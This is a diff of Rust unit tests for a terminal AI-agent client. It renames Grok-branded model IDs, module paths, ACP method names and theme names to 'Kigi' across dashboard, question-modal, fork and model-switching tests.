+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
     if let Some(d) = app.dashboard.as_mut() {
         d.pending_model = Some(crate::views::dashboard::PendingDispatchModel {
             id: model_id.clone(),
             effort: Some(kigi_shell::sampling::types::ReasoningEffort::High),
-            display: "Grok 4.5".to_string(),
+            display: "Kigi 4.5".to_string(),
         });
         d.pending_mode = crate::views::dashboard::DashboardDispatchMode::Plan;
         d.dispatch.set_text("do the thing");
@@ -1120,7 +1120,7 @@ fn dashboard_peek_cycle_does_not_retire_the_nudge() {
 /// leader mode. The dashboard renders local sessions regardless; leader
 /// mode only adds the roster poll. Every entry point funnels through
 /// `Action::OpenDashboard`, so this covers `/dashboard`, `Ctrl+\`,
-/// `grok dashboard`, and the startup hook.
+/// `kigi dashboard`, and the startup hook.
 #[serial_test::serial(KIGI_AGENT_DASHBOARD)]
 #[test]
 fn dashboard_open_works_without_leader() {
@@ -1237,9 +1237,9 @@ fn seed_model(app: &mut AppView, id: &str, name: &str) {
 #[test]
 fn dashboard_slash_model_stages_pending_model() {
     let mut app = test_app();
-    seed_model(&mut app, "grok-4.5", "Grok 4.5");
+    seed_model(&mut app, "kigi-4.5", "Kigi 4.5");
     open_dashboard(&mut app);
-    let effects = dispatch_dashboard_dispatch_slash(&mut app, "/model grok-4.5".into());
+    let effects = dispatch_dashboard_dispatch_slash(&mut app, "/model kigi-4.5".into());
     assert!(
         effects.is_empty(),
         "staging a model must not spawn a session"
@@ -1252,8 +1252,8 @@ fn dashboard_slash_model_stages_pending_model() {
         .pending_model
         .as_ref()
         .expect("pending_model must be set");
-    assert_eq!(pending.id.0.as_ref(), "grok-4.5");
-    assert_eq!(pending.display, "Grok 4.5");
+    assert_eq!(pending.id.0.as_ref(), "kigi-4.5");
+    assert_eq!(pending.display, "Kigi 4.5");
     assert!(pending.effort.is_none());
     // The catalog snapshot's `current` tracks the staged model so the
     // next `/model` dropdown marks it `(current)` (not the seeded default).
@@ -1265,7 +1265,7 @@ fn dashboard_slash_model_stages_pending_model() {
             .current
             .as_ref()
             .map(|id| id.0.as_ref()),
-        Some("grok-4.5"),
+        Some("kigi-4.5"),
         "staging must update the snapshot's current selection",
     );
 }
@@ -1279,7 +1279,7 @@ fn dashboard_slash_model_stages_pending_model() {
 #[test]
 fn dashboard_slash_command_error_gets_error_glyph_prefix() {
     let mut app = test_app();
-    seed_model(&mut app, "grok-4.5", "Grok 4.5");
+    seed_model(&mut app, "kigi-4.5", "Kigi 4.5");
     open_dashboard(&mut app);
     let effects = dispatch_dashboard_dispatch_slash(&mut app, "/model nonexistent".into());
     assert!(effects.is_empty(), "a failed command must not dispatch");
@@ -1512,14 +1512,14 @@ fn dashboard_cycle_mode_skips_always_approve_under_policy_pin() {
 fn dashboard_open_reseeds_pending_model_and_mode() {
     use crate::views::dashboard::DashboardDispatchMode;
     let mut app = test_app();
-    seed_model(&mut app, "grok-4.5", "Grok 4.5");
+    seed_model(&mut app, "kigi-4.5", "Kigi 4.5");
     open_dashboard(&mut app);
     // Stage a model + non-default mode as if from a previous session.
     if let Some(d) = app.dashboard.as_mut() {
         d.pending_model = Some(crate::views::dashboard::PendingDispatchModel {
-            id: acp::ModelId::new(std::sync::Arc::from("grok-4.5")),
+            id: acp::ModelId::new(std::sync::Arc::from("kigi-4.5")),
             effort: None,
-            display: "Grok 4.5".to_string(),
+            display: "Kigi 4.5".to_string(),
         });
         d.pending_mode = DashboardDispatchMode::Plan;
     }
@@ -1727,14 +1727,14 @@ fn dashboard_dispatch_new_agent_is_working_with_prompt_title() {
 #[test]
 fn dashboard_dispatch_applies_pending_model_and_plan() {
     let mut app = test_app();
-    seed_model(&mut app, "grok-4.5", "Grok 4.5");
+    seed_model(&mut app, "kigi-4.5", "Kigi 4.5");
     open_dashboard(&mut app);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
     if let Some(d) = app.dashboard.as_mut() {
         d.pending_model = Some(crate::views::dashboard::PendingDispatchModel {
             id: model_id.clone(),
             effort: Some(kigi_shell::sampling::types::ReasoningEffort::High),
-            display: "Grok 4.5".to_string(),
+            display: "Kigi 4.5".to_string(),
         });
         d.pending_mode = crate::views::dashboard::DashboardDispatchMode::Plan;
     }
@@ -1770,14 +1770,14 @@ fn dashboard_dispatch_applies_pending_model_and_plan() {
 #[test]
 fn dashboard_new_agent_button_applies_pending_model_and_plan() {
     let mut app = test_app();
-    seed_model(&mut app, "grok-4.5", "Grok 4.5");
+    seed_model(&mut app, "kigi-4.5", "Kigi 4.5");
     open_dashboard(&mut app);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
     if let Some(d) = app.dashboard.as_mut() {
         d.pending_model = Some(crate::views::dashboard::PendingDispatchModel {
             id: model_id.clone(),
             effort: Some(kigi_shell::sampling::types::ReasoningEffort::High),
-            display: "Grok 4.5".to_string(),
+            display: "Kigi 4.5".to_string(),
         });
         d.pending_mode = crate::views::dashboard::DashboardDispatchMode::Plan;
     }
@@ -4624,7 +4624,7 @@ fn dashboard_permission_followup_rejects_with_message() {
 fn dashboard_question_answer_sends_and_clears() {
     use crate::views::prompt_widget::StashedPrompt;
     use crate::views::question_view::QuestionViewState;
-    use kigi_tools::implementations::grok_build::ask_user_question::{
+    use kigi_tools::implementations::kigi::ask_user_question::{
         AskUserQuestionMode, Question, QuestionOption,
     };
 
@@ -4673,7 +4673,7 @@ fn dashboard_question_answer_walks_multiple_questions() {
     use crate::views::dashboard::peek::{PeekPanelState, compute_peek_fields};
     use crate::views::prompt_widget::StashedPrompt;
     use crate::views::question_view::QuestionViewState;
-    use kigi_tools::implementations::grok_build::ask_user_question::{
+    use kigi_tools::implementations::kigi::ask_user_question::{
         AskUserQuestionMode, Question, QuestionOption,
     };
 
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/mod.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/mod.rs
index e63fa7a..ab88021 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/mod.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/mod.rs
@@ -116,8 +116,8 @@ fn test_app() -> AppView {
         agent_override: None,
         bootstrap_acp_commands: Vec::new(),
         auth_methods: vec![acp::AuthMethod::Agent(acp::AuthMethodAgent::new(
-            acp::AuthMethodId::new("grok.com"),
-            "Grok".to_string(),
+            acp::AuthMethodId::new("kimi-code"),
+            "Kigi".to_string(),
         ))],
         auth_state: AuthState::Done,
         trust_state: TrustState::Done,
@@ -462,7 +462,7 @@ fn fork_test_app() -> AppView {
     app
 }
 /// Build a minimal `AcpArgs<acp::ExtRequest>` for an
-/// `x.ai/ask_user_question` ext-method request. Returns the args
+/// `kigi/ask_user_question` ext-method request. Returns the args
 /// plus the receiver half of the response oneshot so the test can
 /// assert the handler completes the ACP roundtrip.
 fn make_ask_user_question_args(
@@ -471,14 +471,13 @@ fn make_ask_user_question_args(
     kigi_acp_lib::AcpArgs<acp::ExtRequest>,
     tokio::sync::oneshot::Receiver<kigi_acp_lib::AcpResult<acp::ExtResponse>>,
 ) {
-    use kigi_tools::implementations::grok_build::ask_user_question::{
+    use kigi_tools::implementations::kigi::ask_user_question::{
         AskUserQuestionExtRequest, Question, QuestionOption,
     };
     let req = AskUserQuestionExtRequest {
         session_id: "test-session".into(),
         tool_call_id: tool_call_id.into(),
-        mode:
-            kigi_tools::implementations::grok_build::ask_user_question::AskUserQuestionMode::Default,
+        mode: kigi_tools::implementations::kigi::ask_user_question::AskUserQuestionMode::Default,
         questions: vec![Question {
             question: "ACP-driven question".into(),
             options: vec![QuestionOption {
@@ -493,7 +492,7 @@ fn make_ask_user_question_args(
     };
     let (tx, rx) = tokio::sync::oneshot::channel();
     let ext = acp::ExtRequest::new(
-        "x.ai/ask_user_question",
+        "kigi/ask_user_question",
         serde_json::value::to_raw_value(&req)
             .expect("serialize AskUserQuestionExtRequest")
             .into(),
@@ -742,7 +741,7 @@ fn with_theme_test_env(f: impl FnOnce()) {
         .unwrap_or_else(|e| e.into_inner());
     crate::theme::cache::reset_for_test();
     crate::theme::cache::seed_auto_theme_defaults_for_test();
-    crate::theme::cache::set(crate::theme::ThemeKind::GrokNight);
+    crate::theme::cache::set(crate::theme::ThemeKind::KigiNight);
     crate::theme::system_appearance::clear_mock();
     f();
     crate::theme::system_appearance::clear_mock();
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/modes.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/modes.rs
index 3a3b5d4..ff3203d 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/modes.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/modes.rs
@@ -598,7 +598,7 @@ fn yolo_on_drain_clears_double_click_tracker() {
 /// 2. The dispatcher returns a `PersistPermissionMode` effect with
 ///    canonical `"always-approve"` — this is what flips
 ///    `[ui] permission_mode` on disk AND fires the
-///    `x.ai/yolo_mode_changed` ACP notification back to the shell.
+///    `kigi/yolo_mode_changed` ACP notification back to the shell.
 /// 3. The agent's per-session `yolo_mode` flag is flipped to true,
 ///    so subsequent permission requests are auto-approved by
 ///    `handle_permission_request`.
@@ -651,7 +651,7 @@ fn enable_always_approve_sends_response_and_flips_yolo_and_persists() {
 
     // (2) The dispatcher returns a PersistPermissionMode effect with
     //     canonical "always-approve". This is the bridge that writes
-    //     ~/.kigi/config.toml AND fires x.ai/yolo_mode_changed.
+    //     ~/.kigi/config.toml AND fires kigi/yolo_mode_changed.
     let persist = effects
         .iter()
         .find_map(|e| match e {
@@ -725,7 +725,7 @@ fn enable_always_approve_is_idempotent_when_yolo_already_on() {
             .any(|e| matches!(e, Effect::PersistPermissionMode { .. })),
         "redundant PersistPermissionMode when YOLO already on — the dispatcher \
              must short-circuit to avoid double-writing config.toml and double-firing \
-             x.ai/yolo_mode_changed",
+             kigi/yolo_mode_changed",
     );
 }
 
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/notes.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/notes.rs
index aff68e0..f99189f 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/notes.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/notes.rs
@@ -24,7 +24,7 @@ fn manual_recap_with_no_messages_toasts_empty_state_and_skips_request() {
 
     assert!(
         effects.is_empty(),
-        "empty session must not fire x.ai/recap: {effects:?}"
+        "empty session must not fire kigi/recap: {effects:?}"
     );
     let agent = app.agents.get(&id).unwrap();
     assert!(agent.pending_recap_entry.is_none(), "no loading spinner");
@@ -86,7 +86,7 @@ fn manual_recap_during_batch_load_with_prompts_still_requests() {
 
     assert!(
         matches!(effects.as_slice(), [Effect::SendRecap { auto: false, .. }]),
-        "batched resume with user prompts must still fire x.ai/recap: {effects:?}"
+        "batched resume with user prompts must still fire kigi/recap: {effects:?}"
     );
     let agent = app.agents.get(&id).unwrap();
     assert!(agent.pending_recap_entry.is_some());
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/prompt.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/prompt.rs
index 5d78bca..b83724c 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/prompt.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/prompt.rs
@@ -846,7 +846,7 @@ fn prompt_response_resets_turn_state() {
     assert_eq!(app.agents[&id].scrollback.len(), 1);
 }
 
-/// Turn end with prompt suggestions enabled fires the `x.ai/suggestPrompt`
+/// Turn end with prompt suggestions enabled fires the `kigi/suggestPrompt`
 /// fetch (before the billing refresh), and the loaded suggestion routes back
 /// into the agent's controller by id + generation.
 #[test]
@@ -879,8 +879,8 @@ fn turn_end_fetches_prompt_suggestion_when_enabled() {
     };
     assert_eq!(*agent_id, id);
     assert!(session_id.is_some());
-    // No `grok-build-0.1` in the test catalog and no env override →
-    // `None` on the wire; the shell then uses its own `grok-build-0.1`
+    // No `kigi-0.1` in the test catalog and no env override →
+    // `None` on the wire; the shell then uses its own `kigi-0.1`
     // default (suggestion calls never use the session model).
     assert_eq!(*model, None);
 
@@ -1255,7 +1255,7 @@ fn turn_complete_notification_suppressed_when_queue_non_empty() {
 /// Regression: cancelling while prompts are queued must hand the queue to
 /// the agent untouched. The FRONT queued prompt runs next (promoted
 /// server-side), the rest stay queued in order, and the authoritative
-/// `x.ai/queue/changed` rebroadcast — not client-side prediction — updates
+/// `kigi/queue/changed` rebroadcast — not client-side prediction — updates
 /// the mirror. Nothing resurrects or reorders.
 #[test]
 fn cancel_hands_queue_to_agent_without_reordering() {
@@ -1771,7 +1771,7 @@ fn send_prompt_works_after_reconnect_clears() {
 fn switch_model_holds_prompt_until_complete() {
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
 
     dispatch(
         Action::SwitchModel {
@@ -1905,7 +1905,7 @@ fn submit_question_answers_cancel_clears_local_modal_and_restores_prompt() {
     // exercising the prompt.restore + cleanup_question_state contract
     // that lives in `submit_question_answers` itself.
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
 
     let mut app = fork_test_app();
     let id = AgentId(0);
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/router.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/router.rs
index 7f10735..d8df697 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/router.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/router.rs
@@ -255,7 +255,7 @@ fn mark_turn_finished_clears_start_and_stamps_active() {
 fn switch_model_dispatch_produces_effect_and_sets_pending() {
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
     assert!(!app.agents[&id].session.model_switch_pending);
     let effects = dispatch(
         Action::SwitchModel {
@@ -989,7 +989,7 @@ fn dispatch_fork_no_flag_always_reopens_modal_after_previous_answer() {
 #[test]
 fn translate_local_submit_skipped_returns_changed_with_no_action() {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "?".into(),
         options: vec![QuestionOption {
@@ -1018,7 +1018,7 @@ fn translate_local_submit_skipped_returns_changed_with_no_action() {
 #[test]
 fn translate_local_submit_no_selection_returns_changed_no_action() {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "?".into(),
         options: (0..2)
@@ -1047,7 +1047,7 @@ fn translate_local_submit_no_selection_returns_changed_no_action() {
 #[test]
 fn translate_local_submit_out_of_range_index_returns_changed_no_action() {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "?".into(),
         options: (0..2)
@@ -1077,7 +1077,7 @@ fn translate_local_submit_out_of_range_index_returns_changed_no_action() {
 #[test]
 fn handle_ask_user_question_does_not_push_system_block_when_displaced_acp_modal() {
     use crate::views::question_view::QuestionViewState;
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let mut app = fork_test_app();
     let id = AgentId(0);
     let stashed = app.agents.get_mut(&id).unwrap().prompt.stash();
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/session/fork.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/session/fork.rs
index 6031683..48bb155 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/session/fork.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/session/fork.rs
@@ -30,8 +30,8 @@ fn worktree_forked_sets_session_id_eagerly_and_emits_load() {
     assert!(app.agents[&id].session.session_id.is_none());
     assert!(!app.agents[&id].session.loading_replay);
 
-    let worktree_path = PathBuf::from("/tmp/grok-worktrees/pager-fork");
-    let session_cwd = PathBuf::from("/tmp/grok-worktrees/pager-fork/sub");
+    let worktree_path = PathBuf::from("/tmp/kigi-worktrees/pager-fork");
+    let session_cwd = PathBuf::from("/tmp/kigi-worktrees/pager-fork/sub");
     let effects = dispatch(
         Action::TaskComplete(TaskResult::WorktreeForked {
             agent_id: id,
@@ -76,8 +76,8 @@ fn worktree_forked_with_restore_shows_summary_in_scrollback() {
     );
     let id = AgentId(0);
 
-    let worktree_path = PathBuf::from("/tmp/grok-worktrees/pager-fork");
-    let session_cwd = PathBuf::from("/tmp/grok-worktrees/pager-fork/sub");
+    let worktree_path = PathBuf::from("/tmp/kigi-worktrees/pager-fork");
+    let session_cwd = PathBuf::from("/tmp/kigi-worktrees/pager-fork/sub");
     let effects = dispatch(
         Action::TaskComplete(TaskResult::WorktreeForked {
             agent_id: id,
@@ -130,8 +130,8 @@ fn worktree_forked_with_restore_failure_shows_warning_banner() {
     );
     let id = AgentId(0);
 
-    let worktree_path = PathBuf::from("/tmp/grok-worktrees/pager-fail");
-    let session_cwd = PathBuf::from("/tmp/grok-worktrees/pager-fail/sub");
+    let worktree_path = PathBuf::from("/tmp/kigi-worktrees/pager-fail");
+    let session_cwd = PathBuf::from("/tmp/kigi-worktrees/pager-fail/sub");
     dispatch(
         Action::TaskComplete(TaskResult::WorktreeForked {
             agent_id: id,
@@ -472,7 +472,7 @@ fn open_fork_question_refuses_when_existing_question_is_open() {
     let mut app = fork_test_app();
     // Plant an existing question (e.g. an ACP-driven one).
     use crate::views::question_view::QuestionViewState;
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "existing ACP question?".into(),
         options: vec![QuestionOption {
@@ -1047,7 +1047,7 @@ fn fork_session_failed_pushes_turn_failed_block() {
 #[test]
 fn translate_local_submit_yes_returns_worktree_true_action() {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "?".into(),
         options: (0..2)
@@ -1090,7 +1090,7 @@ fn translate_local_submit_yes_returns_worktree_true_action() {
 #[test]
 fn translate_local_submit_no_returns_worktree_false_action() {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "?".into(),
         options: (0..2)
@@ -1131,7 +1131,7 @@ fn translate_local_submit_no_returns_worktree_false_action() {
 #[test]
 fn translate_local_submit_always_returns_persist_always_for_fork() {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "?".into(),
         options: (0..4)
@@ -1173,7 +1173,7 @@ fn translate_local_submit_always_returns_persist_always_for_fork() {
 #[test]
 fn translate_local_submit_never_returns_persist_never_for_fork() {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "?".into(),
         options: (0..4)
@@ -1216,7 +1216,7 @@ fn translate_local_submit_never_returns_persist_never_for_fork() {
 fn handle_ask_user_question_pushes_system_block_when_displaced_local_fork_modal() {
     use crate::scrollback::block::RenderBlock;
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
 
     let mut app = fork_test_app();
     let id = AgentId(0);
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/session/lifecycle.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/session/lifecycle.rs
index 1b7419f..3c7d8c2 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/session/lifecycle.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/session/lifecycle.rs
@@ -172,7 +172,7 @@ fn worktree_session_created_sets_session_and_cwd() {
         &mut app,
     );
     let id = AgentId(0);
-    let worktree_path = PathBuf::from("/tmp/grok-worktrees/pager-123");
+    let worktree_path = PathBuf::from("/tmp/kigi-worktrees/pager-123");
     let session_cwd = worktree_path.clone();
     let effects = dispatch(
         Action::TaskComplete(TaskResult::WorktreeSessionCreated {
@@ -353,13 +353,13 @@ fn worktree_session_created_drains_queued_prompts() {
     let effects = dispatch(Action::SendPrompt("hello".into()), &mut app);
     assert!(effects.is_empty(), "no session_id yet, can't drain");
     assert_eq!(app.agents[&id].session.queue_len(), 1);
-    let worktree_path = PathBuf::from("/tmp/grok-worktrees/pager-abc");
+    let worktree_path = PathBuf::from("/tmp/kigi-worktrees/pager-abc");
     let effects = dispatch(
         Action::TaskComplete(TaskResult::WorktreeSessionCreated {
             agent_id: id,
             session_id: acp::SessionId::new("wt-drain-1"),
             worktree_path,
-            session_cwd: PathBuf::from("/tmp/grok-worktrees/pager-abc"),
+            session_cwd: PathBuf::from("/tmp/kigi-worktrees/pager-abc"),
             models: None,
         }),
         &mut app,
@@ -485,7 +485,7 @@ fn switch_model_without_session_does_nothing() {
     let mut app = test_app_with_agent();
     let id = AgentId(0);
     app.agents.get_mut(&id).unwrap().session.session_id = None;
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
     let effects = dispatch(
         Action::SwitchModel {
             model_id,
@@ -659,7 +659,7 @@ fn new_session_starts_with_prompt_focused() {
 fn switch_model_deferred_when_no_session_id() {
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
     app.agents.get_mut(&id).unwrap().session.session_id = None;
     let effects = dispatch(
         Action::SwitchModel {
@@ -679,7 +679,7 @@ fn switch_model_deferred_when_no_session_id() {
 fn deferred_model_switch_applied_on_session_created() {
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
     let session_id: acp::SessionId = "new-session".into();
     app.agents.get_mut(&id).unwrap().session.session_id = None;
     app.agents
@@ -708,7 +708,7 @@ fn deferred_model_switch_applied_on_session_created() {
 #[test]
 fn deferred_model_switch_applied_on_worktree_session_created() {
     let mut app = test_app_git();
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
     dispatch(
         Action::NewWorktreeSession {
             load_session_id: None,
@@ -1314,7 +1314,7 @@ fn dispatch_new_session_has_empty_scrollback() {
 #[test]
 fn translate_local_submit_always_returns_persist_always_for_new_session() {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "?".into(),
         options: (0..4)
@@ -1354,7 +1354,7 @@ fn translate_local_submit_always_returns_persist_always_for_new_session() {
 #[test]
 fn translate_local_submit_never_returns_persist_never_for_new_session() {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "?".into(),
         options: (0..4)
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/session/load.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/session/load.rs
index cf4bd93..ba1e28e 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/session/load.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/session/load.rs
@@ -1214,7 +1214,7 @@ fn project_picker_skip_falls_back_to_original_cwd() {
 fn project_picker_freeform_path_used_when_no_option_selected() {
     use crate::views::prompt_widget::StashedPrompt;
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let q = Question {
         question: "Pick".into(),
         id: None,
@@ -1253,7 +1253,7 @@ fn project_picker_freeform_path_used_when_no_option_selected() {
 fn project_picker_freeform_overrides_dont_ask() {
     use crate::views::prompt_widget::StashedPrompt;
     use crate::views::question_view::{LocalQuestionKind, QuestionSelection, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let opt = |label: &str| QuestionOption {
         label: label.into(),
         description: String::new(),
@@ -1310,7 +1310,7 @@ fn needs_project_picker_false_when_disabled() {
 fn project_picker_dont_ask_again_sets_disable_flag() {
     use crate::views::prompt_widget::StashedPrompt;
     use crate::views::question_view::{LocalQuestionKind, QuestionSelection, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let opt = |label: &str| QuestionOption {
         label: label.into(),
         description: String::new(),
@@ -1348,7 +1348,7 @@ fn project_picker_dont_ask_again_sets_disable_flag() {
 fn project_picker_recent_project_selection_uses_that_path() {
     use crate::views::prompt_widget::StashedPrompt;
     use crate::views::question_view::{LocalQuestionKind, QuestionSelection, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let opt = |label: &str| QuestionOption {
         label: label.into(),
         description: String::new(),
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/session/take_deferred.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/session/take_deferred.rs
index 8cc51ca..32589fb 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/session/take_deferred.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/session/take_deferred.rs
@@ -24,7 +24,7 @@ fn model_with_support(id: &str, supports: bool) -> (acp::ModelId, acp::ModelInfo
 }
 
 fn models_with_current(supports: bool) -> ModelState {
-    let (id, info) = model_with_support("grok-build", supports);
+    let (id, info) = model_with_support("kigi", supports);
     let mut models = ModelState::default();
     models.available.insert(id.clone(), info);
     models.current = Some(id);
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/settings.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/settings.rs
index 73af573..5d414f1 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/settings.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/settings.rs
@@ -227,7 +227,7 @@ fn set_default_model_allowed_when_agent_chat_kind() {
 fn slash_model_valid_dispatches_set_default_model_with_switch_and_persist() {
     let mut app = test_app_with_agent();
     let id = AgentId(0);
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
+    let model_id = acp::ModelId::new(std::sync::Arc::from("kigi-4.5"));
     app.agents
         .get_mut(&id)
         .unwrap()
@@ -236,9 +236,9 @@ fn slash_model_valid_dispatches_set_default_model_with_switch_and_persist() {
         .available
         .insert(
             model_id.clone(),
-            acp::ModelInfo::new(model_id.clone(), "Grok 4.5".to_string()),
+            acp::ModelInfo::new(model_id.clone(), "Kigi 4.5".to_string()),
         );
-    let effects = dispatch(Action::SendPrompt("/model Grok 4.5".into()), &mut app);
+    let effects = dispatch(Action::SendPrompt("/model Kigi 4.5".into()), &mut app);
     assert_eq!(
         effects.len(),
         2,
@@ -904,8 +904,8 @@ fn clear_default_model_persists_but_keeps_live_current() {
     use agent_client_protocol as acp;
     use std::sync::Arc;
     let mut app = test_app_with_agent();
-    let id = acp::ModelId::new(Arc::from("grok-test"));
-    let info = acp::ModelInfo::new(id.clone(), "Grok Test".to_string());
+    let id = acp::ModelId::new(Arc::from("kigi-test"));
+    let info = acp::ModelInfo::new(id.clone(), "Kigi Test".to_string());
     let agent_id = AgentId(0);
     app.agents
         .get_mut(&agent_id)
@@ -949,8 +949,8 @@ fn set_default_model_resolves_known_name() {
     use agent_client_protocol as acp;
     use std::sync::Arc;
     let mut app = test_app_with_agent();
-    let id = acp::ModelId::new(Arc::from("grok-4.5"));
-    let info = acp::ModelInfo::new(id.clone(), "Grok 4.5".to_string());
+    let id = acp::ModelId::new(Arc::from("kigi-4.5"));
+    let info = acp::ModelInfo::new(id.clone(), "Kigi 4.5".to_string());
     let agent_id = AgentId(0);
     app.agents
         .get_mut(&agent_id)
@@ -963,7 +963,7 @@ fn set_default_model_resolves_known_name() {
     assert_eq!(effects.len(), 2);
